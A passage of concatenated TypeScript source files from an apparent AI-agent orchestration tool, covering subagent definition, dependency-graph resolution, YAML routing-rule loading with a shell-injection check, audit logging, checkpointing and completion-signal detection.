AgentDefinition['permissionMode']\n effortOverride?: AgentDefinition['effort']\n maxTurnsOverride?: number\n /** Filesystem root for skills lookup (test injection); defaults to ~/.claude/skills/ */\n skillsRoot?: string\n}\n\n// 4 typed error classes (contract § 5.1) — D-14 throw-error path, narrowed in engine.ts.\nexport class SkillNotInstalledError extends Error {\n constructor(public skill: string) {\n super(`Skill not installed: ${skill}. Run: harnessed install ${skill} --apply`)\n this.name = 'SkillNotInstalledError'\n }\n}\nexport class InvalidDecisionError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InvalidDecisionError'\n }\n}\nexport class MissingSkillsError extends Error {\n constructor(public missing: string[]) {\n super(`Required skills missing: ${missing.join(', ')}`)\n this.name = 'MissingSkillsError'\n }\n}\nexport class RestartRequiredError extends Error {\n constructor(public hint: string) {\n super(hint)\n this.name = 'RestartRequiredError'\n }\n}\n\n/** Karpathy 4 心法 (D1.4-14) — always-on baseline prepended to every subagent. */\nconst KARPATHY_BASELINE = `## 心法 (always-on baseline)\n- Think Before Coding: read, plan, then write — never write before understanding.\n- Simplicity First: minimum effective code; avoid unnecessary abstraction.\n- Surgical Changes: small atomic edits; keep history clean.\n- Goal-Driven Execution: each step earns its place by satisfying a goal.\n`\n\n/** harnessed AgentDefinition factory — pure (no spawn). Throws typed errors\n * (D-14) for engine.ts narrow into EngineResult three-state union. */\nexport async function createAgent(\n task: TaskContext,\n decision: ArbitrateResult,\n opts: AgentDefinitionOpts = {},\n): Promise<AgentDefinition> {\n if (!decision.primary_expert) {\n throw new InvalidDecisionError('decision.primary_expert is required (got null)')\n }\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const requested =\n decision.required_skills ?? (decision.primary_expert ? [decision.primary_expert] : [])\n const isInstalled = (name: string) => existsSync(join(skillsRoot, name, 'SKILL.md'))\n const missing = requested.filter((s) => !isInstalled(s))\n if (missing.length === requested.length && requested.length > 0) {\n throw new MissingSkillsError(missing)\n }\n if (missing.length > 0) {\n throw new SkillNotInstalledError(missing[0] as string)\n }\n\n const promptBody = `${KARPATHY_BASELINE}\\n## 任务\\n${task.task}\\n\\n${COMPLETE_INSTRUCTION}`\n\n return {\n description: `Routing-engine spawned subagent (${decision.category}) — primary: ${decision.primary_expert}`,\n prompt: promptBody,\n tools: ['Read', 'Grep', 'Glob', 'Bash', 'Edit', 'Write'],\n disallowedTools: decision.forbidden_skills?.map((s) => `Skill(${s})`),\n model: opts.modelOverride ?? process.env.HARNESSED_AGENT_MODEL ?? 'inherit',\n skills: requested,\n mcpServers: undefined,\n memory: 'project',\n maxTurns: opts.maxTurnsOverride ?? 50,\n background: false,\n effort: opts.effortOverride ?? 'medium',\n permissionMode: opts.permissionModeOverride ?? 'default',\n // v1.1 errata (ADR 0009 § Decision Errata 1) — `initialPrompt` carries the\n // task body for the plugin-main-thread upgrade path;\n // `criticalSystemReminder_EXPERIMENTAL` re-asserts the verbatim\n // <promise>COMPLETE</promise> contract at the system-prompt layer.\n initialPrompt: task.task,\n criticalSystemReminder_EXPERIMENTAL: COMPLETE_INSTRUCTION,\n }\n}\n","// Phase 1.5 T3.1 — DAG resolver (Kahn's algorithm, iterative ≤200L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision (Errata 4 接口契约升级) + D1.5-1\n// lock. Kahn's algorithm (BFS + indegree queue), self-implemented, NO external\n// graph library (no graphlib / @dagrejs/graphlib / toposort) per karpathy\n// YAGNI — a ≤30L core handles ≤50 manifest dependency graphs. RESEARCH § 1.2\n// rationale for choosing Kahn over DFS-based toposort (4 points):\n// 1. iterative (queue-based) — no recursion, Node.js call-stack safe even\n// for deep linear chains (DFS recursion would risk stack overflow).\n// 2. queue-based — natural to emit a debug trace of processing order.\n// 3. cycle detection is a natural byproduct — after the queue drains, any\n// node with indegree ≠ 0 is provably part of a cycle.\n// 4. karpathy simplicity — the whole algorithm fits in one readable loop.\n// LOC budget: ≤200L hard limit (D-19). SPIKE-REPORT-2.md § 2 validated the\n// algorithm on 5 graph cases (linear / diamond / multi-root / single / cycle)\n// before this file existed — 5/5 PASS including E_DAG_CYCLE detection.\n//\n// Three-state discriminated union `DagResolveResult` mirrors `EngineResult`\n// (engine.ts) per the F41 takeaway — callers narrow on `result.ok` and the\n// TypeScript compiler guarantees `order` xor `cycle` access.\n\nimport { InvalidDecisionError } from './agentDefinition.js'\n\n/** A node identifier within the dependency graph. */\nexport type NodeId = string\n\n/** A single DAG node: an id plus the ids it depends on (edges point dep → id). */\nexport interface DagNode {\n /** Unique node identifier. */\n id: NodeId\n /** Ids this node depends on; each must resolve before this node. */\n deps: NodeId[]\n}\n\n/**\n * Three-state result of {@link resolveDag} — discriminated on `ok`:\n * - `{ ok: true, order }` — topological order (deps before dependents)\n * - `{ ok: false, cycle }` — cycle detected; `cycle` lists the offending nodes\n */\nexport type DagResolveResult = { ok: true; order: NodeId[] } | { ok: false; cycle: NodeId[] }\n\n/**\n * Resolve a dependency graph into a topological order using Kahn's algorithm.\n *\n * Iterative (no recursion) — BFS over an indegree queue. Deterministic output:\n * the ready queue is kept alphabetically sorted so the same graph always yields\n * the same ordering (eases debugging + snapshot tests).\n *\n * @param nodes - graph nodes; `deps` entries referencing unknown ids are ignored\n * (treated as already-satisfied external deps).\n * @returns `{ ok: true, order }` for an acyclic graph, or `{ ok: false, cycle }`\n * listing the nodes that form one or more cycles.\n */\nexport function resolveDag(nodes: DagNode[]): DagResolveResult {\n // Build the id set + adjacency (dep → dependents) + indegree map.\n const ids = new Set<NodeId>(nodes.map((n) => n.id))\n const adj = new Map<NodeId, NodeId[]>()\n const indegree = new Map<NodeId, number>()\n for (const id of ids) {\n adj.set(id, [])\n indegree.set(id, 0)\n }\n for (const node of nodes) {\n for (const dep of node.deps) {\n // Skip edges to unknown ids — external/already-satisfied dependencies.\n if (!ids.has(dep)) continue\n adj.get(dep)?.push(node.id)\n indegree.set(node.id, (indegree.get(node.id) ?? 0) + 1)\n }\n }\n\n // Seed the ready queue with every indegree-0 node, alphabetically sorted.\n const queue: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg === 0) queue.push(id)\n }\n queue.sort()\n\n // Kahn main loop — pop a ready node, emit it, decrement its dependents.\n const order: NodeId[] = []\n while (queue.length > 0) {\n const id = queue.shift() as NodeId\n order.push(id)\n let exposed = false\n for (const dependent of adj.get(id) ?? []) {\n const next = (indegree.get(dependent) ?? 0) - 1\n indegree.set(dependent, next)\n if (next === 0) {\n queue.push(dependent)\n exposed = true\n }\n }\n // Keep the queue sorted for deterministic ordering when new nodes appear.\n if (exposed) queue.sort()\n }\n\n // Cycle detection — any node not emitted still has indegree > 0 and is\n // provably part of a cycle (Kahn cannot reach it).\n if (order.length !== ids.size) {\n const cycle: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg > 0) cycle.push(id)\n }\n cycle.sort()\n return { ok: false, cycle }\n }\n\n return { ok: true, order }\n}\n\n/**\n * Format a friendly, actionable error message for a detected dependency cycle.\n * Mirrors the phase 1.1 manifest-validate friendly-error style (label + hint +\n * doc reference) so CLI output stays consistent across subsystems.\n *\n * @param cycle - the cycle node ids returned by {@link resolveDag}.\n */\nexport function formatCycleError(cycle: NodeId[]): string {\n const chain = cycle.join(' → ')\n return [\n `Circular dependency detected in skills: ${chain}`,\n ` hint: check 'deps:' field in manifest spec; cycle members above must form an acyclic graph.`,\n ` see docs/adr/0009-routing-l2-engineering-23-shi-errata.md § DAG resolver friendly error.`,\n ].join('\\n')\n}\n\n/**\n * Resolve a graph and throw a typed {@link InvalidDecisionError} on a cycle —\n * convenience wrapper for callers (e.g. engine.ts) that prefer the throw-error\n * path (D-14) over manual three-state narrowing. Returns the topological order\n * directly on success.\n *\n * @param nodes - graph nodes.\n * @throws {InvalidDecisionError} when the graph contains a cycle.\n */\nexport function resolveDagOrThrow(nodes: DagNode[]): NodeId[] {\n const result = resolveDag(nodes)\n if (!result.ok) {\n throw new InvalidDecisionError(formatCycleError(result.cycle))\n }\n return result.order\n}\n","// Phase 1.3 T3.2 — routing/decision_rules.yaml v1 loader + Priority Hit Policy arbitrate.\n// Phase 1.5 T4.3 — v2 schema (mattpocock_phases + engineering rules) + F42 arbitrate.\n// Phase 2.3 W2 T2.2 — ADR 0012 errata: CD-3 negative-space + if_rejected_use redirect\n// sister fn `arbitrateWithRedirect` lives in lib/arbitrateRedirect.ts (proactive split,\n// 沿袭 Phase 2.2 sdkReconcile 先例). Legacy `arbitrate()` 保留 byte-stable (B-18 A7 守恒\n// + 30-sample routing-engine.test.ts byte-stable preservation per PATTERNS D-WP-5(b)).\n// IMPL NOTE (R2 § 1.3 + KICKOFF B1 + D1.3-3): yaml.parseDocument → toJS → Ajv strict\n// validate → checkCmdString 二次过滤 (B1 沿袭 phase 1.1.1 H7 pattern). 全局 rule-set,\n// 与 manifest.spec.decision_rules (per-manifest hint, ADR 0007) schema 完全独立.\n// 仅支持 PRIORITY hit policy (D1.3-3 lock); COLLECT/RULE_ORDER 等推 phase 1.4+.\n// Path migrated from .planning/ to routing/ in phase 1.3.1 sister patch M1\n// (ADR 0007 references in main body retained as ship-time accurate; ADR 0008\n// errata in phase 1.4 will officially document path).\n//\n// IMPL NOTE — phase 1.5 T4.3 (ADR 0009 § Decision / D1.5-12 / F42): v2 schema\n// is additive — `version` accepts 1 OR 2; an optional top-level\n// `mattpocock_phases` map (4 phase × skills + triggers) is allowed; RuleSchema\n// stays permissive (`when` / `decision` are open records) so engineering rules\n// carrying `keywords` / `skills_overlay` / `triggers` validate without a strict\n// per-field schema. `arbitrate` gains an F42 array-element substring match for\n// the new `keywords` field + `signals` task context — NO regex / embedding\n// deps (karpathy YAGNI). v1 scalar `task_type` matching is unchanged so the\n// phase 1.4 30-sample baseline + routing-engine tests stay byte-stable.\n\nimport { readFileSync } from 'node:fs'\nimport { type Static, Type as T } from '@sinclair/typebox'\nimport { Ajv } from 'ajv'\nimport { parseDocument } from 'yaml'\nimport { checkCmdString } from '../manifest/security.js'\n\nconst Domain = T.Union([\n T.Literal('meta'),\n T.Literal('engineering'),\n T.Literal('design'),\n T.Literal('content'),\n T.Literal('testing'),\n T.Literal('search'),\n])\nconst HitPolicy = T.Union([T.Literal('P'), T.Literal('F'), T.Literal('U')])\nconst Str1 = T.String({ minLength: 1 })\nconst ObjStrict = <P extends Parameters<typeof T.Object>[0]>(p: P) =>\n T.Object(p, { additionalProperties: false })\n\nconst RuleSchema = ObjStrict({\n id: Str1,\n priority: T.Integer({ minimum: 0 }),\n domain: Domain,\n when: T.Record(T.String(), T.Unknown()),\n decision: T.Record(T.String(), T.Unknown()),\n})\n\n/** v2 — mattpocock 23 招式 phase routing (4 phase × skills + triggers). */\nconst PhaseEntrySchema = ObjStrict({\n skills: T.Array(Str1, { minItems: 1 }),\n triggers: T.Array(Str1, { minItems: 1 }),\n})\nconst MattpocockPhasesSchema = ObjStrict({\n discuss: PhaseEntrySchema,\n plan: PhaseEntrySchema,\n execute: PhaseEntrySchema,\n verify: PhaseEntrySchema,\n})\n\nexport const DecisionRulesFileSchema = ObjStrict({\n // v2 additive (D1.5-10): accept v1 OR v2 — schema stays backward compatible.\n version: T.Union([T.Literal(1), T.Literal(2)]),\n hit_policy: HitPolicy,\n rules: T.Array(RuleSchema, { minItems: 1 }),\n // v2 — optional mattpocock_phases map; absent in v1 files.\n mattpocock_phases: T.Optional(MattpocockPhasesSchema),\n fallback_supervisor: T.Optional(ObjStrict({ trigger: Str1, llm: Str1 })),\n deprecated: T.Optional(T.Array(ObjStrict({ id: Str1, reason: Str1, fallback: Str1 }))),\n})\n\nexport type Rule = Static<typeof RuleSchema>\nexport type PhaseEntry = Static<typeof PhaseEntrySchema>\nexport type MattpocockPhases = Static<typeof MattpocockPhasesSchema>\nexport type DecisionRulesFile = Static<typeof DecisionRulesFileSchema>\nexport type TaskContext = Record<string, unknown>\n\nconst ajv = new Ajv({ strict: true, allErrors: true, allowUnionTypes: false })\nlet _compiled: ReturnType<typeof ajv.compile<DecisionRulesFile>> | null = null\nfunction getValidator() {\n if (!_compiled) _compiled = ajv.compile<DecisionRulesFile>(DecisionRulesFileSchema)\n return _compiled\n}\n\n/** Recursively scan string values for shell metacharacters (B1 gate). */\nfunction scanShellInjection(node: unknown, path = ''): string | null {\n if (typeof node === 'string') {\n const hit = checkCmdString(node)\n return hit ? `${path || '<root>'}: ${hit.label} (${hit.hint})` : null\n }\n if (Array.isArray(node)) {\n for (let i = 0; i < node.length; i++) {\n const v = scanShellInjection(node[i], `${path}[${i}]`)\n if (v) return v\n }\n return null\n }\n if (node && typeof node === 'object') {\n for (const [k, v] of Object.entries(node)) {\n const hit = scanShellInjection(v, path ? `${path}.${k}` : k)\n if (hit) return hit\n }\n }\n return null\n}\n\nexport function loadDecisionRules(yamlPath: string): DecisionRulesFile {\n const doc = parseDocument(readFileSync(yamlPath, 'utf8'))\n if (doc.errors.length > 0) {\n throw new Error(`decision_rules yaml parse error: ${doc.errors[0]?.message}`)\n }\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const e = validate.errors?.[0]\n throw new Error(`decision_rules schema invalid: ${e?.instancePath || '/'} ${e?.message}`)\n }\n const inj = scanShellInjection(data)\n if (inj) throw new Error(`decision_rules security violation: ${inj}`)\n return data as DecisionRulesFile\n}\n\n/** Priority Hit Policy arbitrate — R2 § 1.3 sketch + F42 array semantic match\n * (phase 1.5 T4.3 / D1.5-12). Scalar `task_type` matching is unchanged from\n * v1; the `keywords` field gains array-element substring matching against the\n * task prompt + signals. NO regex / embedding (karpathy YAGNI). ≤30L. */\nexport function arbitrate(rules: Rule[], task: TaskContext): Rule | null {\n const matches = rules.filter((r) => matchesWhen(r.when, task))\n const [top, second] = [...matches].sort((a, b) => b.priority - a.priority)\n if (!top) return null\n if (second && second.priority === top.priority) return null\n return top\n}\n\n/** F42 array-trigger `when` fields — array-valued rule fields whose elements\n * are matched by substring against the task prompt / signals / same-named task\n * array field. `task_type` is deliberately EXCLUDED: a `task_type` array in a\n * rule keeps its v1 behavior (never matches a scalar task value) so the phase\n * 1.4 30-sample baseline stays byte-stable (testing samples unchanged). */\nconst ARRAY_TRIGGER_FIELDS = new Set(['keywords', 'signals', 'override_keywords'])\n\n/** Lower-cased substring search for `needle` across the task's prompt + signals\n * + an extra same-named array field (F42 array semantic match). */\nfunction taskHas(task: TaskContext, needle: string, extraKey?: string): boolean {\n const n = needle.toLowerCase()\n const prompt = typeof task.prompt === 'string' ? task.prompt.toLowerCase() : ''\n if (prompt.includes(n)) return true\n const sources: unknown[] = []\n if (Array.isArray(task.signals)) sources.push(...(task.signals as unknown[]))\n if (extraKey && extraKey !== 'signals' && Array.isArray(task[extraKey])) {\n sources.push(...(task[extraKey] as unknown[]))\n }\n return sources.some((s) => typeof s === 'string' && s.toLowerCase().includes(n))\n}\n\n/** v1 scalar match (unchanged) + v2 F42 array semantic match. */\nfunction matchesWhen(when: Record<string, unknown>, task: TaskContext): boolean {\n for (const [k, v] of Object.entries(when)) {\n if (ARRAY_TRIGGER_FIELDS.has(k) && Array.isArray(v)) {\n // F42 — rule hits if ANY trigger element is a substring of the task\n // prompt / signals / same-named task array field.\n if (!v.some((kw) => typeof kw === 'string' && taskHas(task, kw, k))) return false\n continue\n }\n if (Array.isArray(v)) {\n // F42 — a non-trigger array-valued `when` field (e.g. `task_type` arrays\n // in perf-a11y-memory / ai-explore-debug) matches by membership: the\n // scalar task value must be one of the rule's listed values. v1 treated\n // these as never-match; phase 1.5 SAMPLES.md § 8.1 upgrades them.\n if (!v.includes(task[k])) return false\n continue\n }\n // v1 behavior — strict scalar equality.\n if (task[k] !== v) return false\n }\n return true\n}\n\n/** Extract the v2 mattpocock_phases map (4 phase × skills + triggers), or null\n * for a v1 file. Lets engineering `skills_overlay.ref` callers resolve the\n * cross-linked skill list without re-parsing the yaml. */\nexport function getMattpocockPhases(file: DecisionRulesFile): MattpocockPhases | null {\n return file.mattpocock_phases ?? null\n}\n\n// Phase 2.3 W2 T2.2 — CD-3 redirect-aware arbitrate (B-18 proactive split + ADR 0012 errata).\nexport { type ArbitrateResult, arbitrateWithRedirect } from './lib/arbitrateRedirect.js'\n","// src/audit/log.ts — Phase 4.3 W1 T1.1 (R8.1 audit log NEW infra per ADR 0018 PRIMARY).\n// JSONL append-only writer + 11-field schema per D-01 LOCKED (CONTEXT.md L34-50).\n// Sync (NOT async sister state.ts): logging path no-await + atomic O_APPEND per RESEARCH § 2.3.\n// Single SoT for routing-decision dimension forward-only per D-02 LOCKED (cross-ref ADR 0019).\n\nimport { createHash } from 'node:crypto'\nimport { appendFileSync, mkdirSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { type Static, Type } from '@sinclair/typebox'\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\n\nconst AUDIT_PATH = '.harnessed/audit.log'\n\nexport const AuditRecordSchema = Type.Object(\n {\n ts: Type.String(),\n phase: Type.String(),\n task_excerpt: Type.String(),\n task_sha1: Type.String(),\n matched_rule_id: Type.Union([Type.String(), Type.Null()]),\n primary_expert: Type.Union([Type.String(), Type.Null()]),\n secondary_expert: Type.Union([Type.String(), Type.Null()]),\n category: Type.String(),\n route_layer: Type.String(),\n outcome: Type.String(),\n session_id: Type.Union([Type.String(), Type.Null()]),\n iter_count: Type.Union([Type.Number(), Type.Null()]),\n },\n { additionalProperties: false },\n)\nexport type AuditRecord = Static<typeof AuditRecordSchema>\n\nexport interface AuditCtx {\n outcome: string\n routeLayer: string\n sessionId?: string\n iterCount: number | null\n}\n\nexport function buildAuditRecord(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n ctx: AuditCtx,\n): AuditRecord {\n return {\n ts: new Date().toISOString(),\n phase: task.phaseId ?? 'unknown',\n task_excerpt: task.task.slice(0, 200),\n task_sha1: createHash('sha1').update(task.task).digest('hex'),\n matched_rule_id: matched?.id ?? null,\n primary_expert: (decision.primary_expert as string | null) ?? null,\n secondary_expert: (decision.secondary_expert as string | null) ?? null,\n category: decision.category,\n route_layer: ctx.routeLayer,\n outcome: ctx.outcome,\n session_id: ctx.sessionId ?? null,\n iter_count: ctx.iterCount,\n }\n}\n\nexport function emitAuditRecord(record: AuditRecord): void {\n mkdirSync(dirname(AUDIT_PATH), { recursive: true })\n appendFileSync(AUDIT_PATH, `${JSON.stringify(record)}\\n`)\n}\n","// src/audit/hook.ts — Phase 4.3 W1 T1.2 (sister engineHook.ts ≤50L PRIMARY helper extract pattern延袭).\n// Extracted thin wrapper keeps engine.ts ≤200L Karpathy hard limit clean (HIGH RISK R-1 mitigation).\n// Single responsibility: bridge engine.ts outcome → audit log emit (fail-soft sync NO throw).\n// W1 T1.3 follow-up: signature derives routeLayer from `matched` + defaults iterCount=null inside\n// hook to keep engine.ts call sites single-line (≤200L budget headroom mitigation).\n\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\nimport { buildAuditRecord, emitAuditRecord } from './log.js'\n\nexport type AuditOutcome =\n | 'complete'\n | 'max-iter'\n | 'verbatim-fail'\n | 'spawn-err'\n | 'install-err'\n | 'arbitrate-err'\n\nexport function emitAudit(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n outcome: AuditOutcome,\n sessionId?: string,\n): void {\n emitAuditRecord(\n buildAuditRecord(task, decision, matched, {\n outcome,\n routeLayer: matched ? 'L1-keyword' : 'L3-fallback',\n sessionId,\n iterCount: null, // Phase 4.3 YAGNI (ralphLoopWrap returns string only; defer v0.5+ per RESEARCH § 7 Q2)\n }),\n )\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = `.harnessed/checkpoints/${phaseId}.json`\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n '[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to .harnessed/checkpoints/unknown.json (Karpathy fail-loud non-blocking; W-04 mitigation)',\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `.harnessed/archive/phase-${ctx.phaseId}/`,\n })\n await stateComplete()\n}\n","// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n\nimport type { SdkResultEnvelope } from '../completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n","// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() 